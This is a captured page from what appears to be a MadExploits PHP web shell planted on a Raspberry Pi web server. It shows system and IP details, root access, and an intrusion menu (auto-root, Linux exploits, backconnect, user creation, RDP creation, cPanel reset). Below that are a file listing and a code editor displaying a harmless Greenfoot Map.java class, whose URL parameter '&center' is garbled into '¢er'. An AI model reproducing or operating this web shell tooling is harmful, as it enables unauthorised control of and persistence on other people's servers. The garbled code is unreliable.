Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.217.91
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
greenfoot /
greenfoot /
common /
[ HOME SHELL ]
Name
Size
Permission
Action
Animal.html
7.37
KB
-rw-r--r--
Animal.java
1.55
KB
-rw-r--r--
Counter.html
9.09
KB
-rw-r--r--
Counter.java
3.08
KB
-rw-r--r--
Counter.png
4.06
KB
-rw-r--r--
GifImage.html
7.37
KB
-rw-r--r--
GifImage.java
28.66
KB
-rw-r--r--
Label.html
8.75
KB
-rw-r--r--
Label.java
2.16
KB
-rw-r--r--
Map.html
9.93
KB
-rw-r--r--
Map.java
4.12
KB
-rw-r--r--
ScoreBoard.html
4.33
KB
-rw-r--r--
ScoreBoard.java
4.09
KB
-rw-r--r--
SimpleTimer.html
6.36
KB
-rw-r--r--
SimpleTimer.java
1.74
KB
-rw-r--r--
SmoothMover.html
8.87
KB
-rw-r--r--
SmoothMover.java
1.74
KB
-rw-r--r--
inherit.gif
57
B
-rw-r--r--
script.js
5.41
KB
-rw-r--r--
stylesheet.css
21.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Map.java
import greenfoot.*; import java.net.URLEncoder; import java.io.UnsupportedEncodingException; /** * A helper class that fetches a Google map for a specific location * as an Image. * * Example of use: * * <pre> * public class MapActor extends Actor * { * Map map; * public MapActor() * { * map = new Map("Brazil"); * setImage(map.getImage()); * } * * public void act() * { * map.zoomIn(1); * setImage(map.getImage()); * } * * public void setType(String type) * { * map.setType(type); * setImage(map.getImage()); * } * } * </pre> * * @author amjad * @version 1.0 */ public class Map { private final String urlBase = "http://maps.googleapis.com/maps/api/staticmap?sensor=false"; private int zoom; private int width; private int height; private String location; private GreenfootImage image; private enum MapType { ROADMAP, SATELLITE, HYBRID, TERRAIN;} private MapType type = MapType.ROADMAP; /** * Constructs a map object that build a map of a specific location, * e.g."-15.800513, -47.91378" or "Brooklyn Bridge, New York, NY". * The width and height fields will be set to default values as 600 x 400. * The zoom field will be set to default as 5. * * @param location the location represents the center the map. */ public Map(String location) { this(location, 600, 400, 5); } /** * Constructs a map object that build a map of a specific location, * e.g."-15.800513, -47.91378" or "Brooklyn Bridge, New York, NY". * * @param location the location represents the center the map. * @param width the image's width. * @param height the image's height. * @param zoom the zoom factor of the map [0-20]. */ public Map(String location, int width, int height, int zoom) { this.location = location; this.width = width; this.height = height; setZoom(zoom); } /** * Sets the zoom factor insuring it is in the range [0-20]. * * @param value the zoom factor. */ public void setZoom(int value) { zoom = value; if (zoom > 20) { zoom = 20; } if (zoom < 0) { zoom = 0; } buildImage(); } /** * Prepares the url of the map and retrieves an image representation of this map. */ private void buildImage() { String urlAddress = urlBase; try { urlAddress += "¢er=" + URLEncoder.encode(location, "UTF-8"); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } urlAddress += "&size=" + width + "x" + height; urlAddress += "&zoom=" + zoom; urlAddress += "&maptype=" + type.toString().toLowerCase(); image = new GreenfootImage(urlAddress); } /** * Returns the map represented as GreenfootImage. * * @return GreenfootImage of the map. */ public GreenfootImage getImage() { return image; } /** * Sets the type of the map as one of: "roadmap" (the default), "satellite", "hybrid" or "terrain". * * @param type the type of the map. * @exception if the passed parameter is not one of the predefined types. */ public void setType(String type) { try { this.type = MapType.valueOf(type.toUpperCase()); } catch(IllegalArgumentException ex) { System.err.println(type + " is not a valid map type. Please use: roadmap, satellite, hybrid or terrain"); } buildImage(); } /** * Increases the zoom factor. * * @param value the change of the zoom factor. */ public void zoomIn(int value) { setZoom(zoom + value); } /** * Decreases the zoom factor. * * @param value the change of the zoom factor. */ public void zoomOut(int value) { setZoom(zoom - value); } }
Close